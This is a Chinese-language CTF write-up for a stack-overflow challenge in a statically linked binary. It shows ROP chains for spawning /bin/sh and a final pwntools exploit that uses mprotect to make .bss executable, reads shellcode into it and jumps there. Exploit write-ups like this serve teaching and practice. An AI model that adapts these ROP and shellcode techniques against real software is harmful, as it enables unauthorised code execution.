前言
别的师傅给的题目不知道出自哪里。
程序分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1LL, "welcome~
", 9LL);
vul();
return 0;
}
__int64 vul()
{
char v1; // [rsp+0h] [rbp-80h]
return read(0LL, &v1, 256LL);
}
程序很简单,存在栈溢出,而且程序是静态链接的。
利用思路
程序可以溢出 0x78 个字节。然后是静态链接的,那先考虑 rop chain 一把梭:
p = ''
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000473e71) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004014c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x0000000000442626) # pop rdx ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += pack('<Q', 0x000000000000003b) # rax
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x0000000000442626) # pop rdx ; ret
p += pack('<Q', 0x00000000006ca088) # @ .data + 8
p += pack('<Q', 0x0000000000425def) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004003da) # syscall
这明显超过 0x78 字节了,那就自己修改一下:
p = ''
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000473e71) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004014c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ca080) # @ .data
p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
p += pack('<Q', 0x000000000000003b) # rax
p += pack('<Q', 0x0000000000000000) # rdx
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # rsi
p += pack('<Q', 0x00000000004003da) # syscall
还是超过了 8 字节。那没办法,只能找别的思路。
程序是静态链接的,说明整个 libc 库都会被链接进文件中,那就有很多可以利用的函数和 gadget 。
在程序中找到了 mprotect 函数:
.text:000000000043FD00 public mprotect ; weak
.text:000000000043FD00 mprotect proc near ; CODE XREF: new_heap+7F↑p
.text:000000000043FD00 ; sysmalloc+2AD↑p ...
.text:000000000043FD00 ; __unwind {
.text:000000000043FD00 mov eax, 0Ah
.text:000000000043FD05 syscall ; LINUX - sys_mprotect
.text:000000000043FD07 cmp rax, 0FFFFFFFFFFFFF001h
.text:000000000043FD0D jnb __syscall_error
.text:000000000043FD13 retn
.text:000000000043FD13 ; } // starts at 43FD00
.text:000000000043FD13 mprotect endp
.text:000000000043FD13
那问题就简单了,调用 mprotect 修改 bss 段为可执行,再调用 read 函数往 bss 段中写 shellcode ,最后返回 shellcode 的起始地址就能 get shell 。
flat([pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,pop_rdi,0,pop_rsi,bss,pop_rdx,0x1000,read,bss])
刚好 0x78 个字节,估计出题人的思路就是这个吧。
exp
from pwn import *
from struct import pack
file_name = './pwn3'
context.binary = file_name
context.log_level = 'debug'
bss = 0x6cd000
pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
mprotect = 0x43FD00
read = 0x43F1B0
p = process(file_name)
#p = remote('')
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)
shellcode = asm(shellcraft.sh())
payload = 'a' * 0x88
payload += flat([pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,pop_rdi,0,pop_rsi,bss,pop_rdx,0x1000,read,bss])
p.send(payload)
sleep(0.2)
p.send(shellcode)
p.interactive()